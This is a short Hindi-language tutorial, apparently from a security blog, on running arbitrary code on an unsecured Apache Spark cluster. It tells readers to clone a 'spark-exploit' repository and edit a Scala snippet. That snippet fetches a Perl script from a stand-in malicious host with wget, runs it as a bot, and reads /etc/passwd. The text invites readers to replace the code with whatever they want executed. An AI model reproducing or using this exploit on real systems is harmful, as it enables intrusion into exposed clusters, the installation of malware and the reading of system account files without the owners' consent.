
असुरक्षित Apache Spark क्लस्टर में मनमाना कोड निष्पादन
नीचे दिए गए चरणों का पालन करें:
* $ git clone https://github.com/akhld/spark-exploit.git
* $ cd spark-exploit
exploit.scala खोलें और निम्नलिखित कोड की जगह वह कोड डालें जिसे आप निष्पादित करवाना चाहते हैं!
val exploit = sc.parallelize(1 to 1).map(x=>{
//Replace these with whatever you want to get executed
val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
val y = "perl bot.pl".!
scala.io.Source.fromFile("/etc/passwd").mkString
})
https://hacked.work/blog/arbitary-code-execution-in-unsecured-apache-spark-cluster/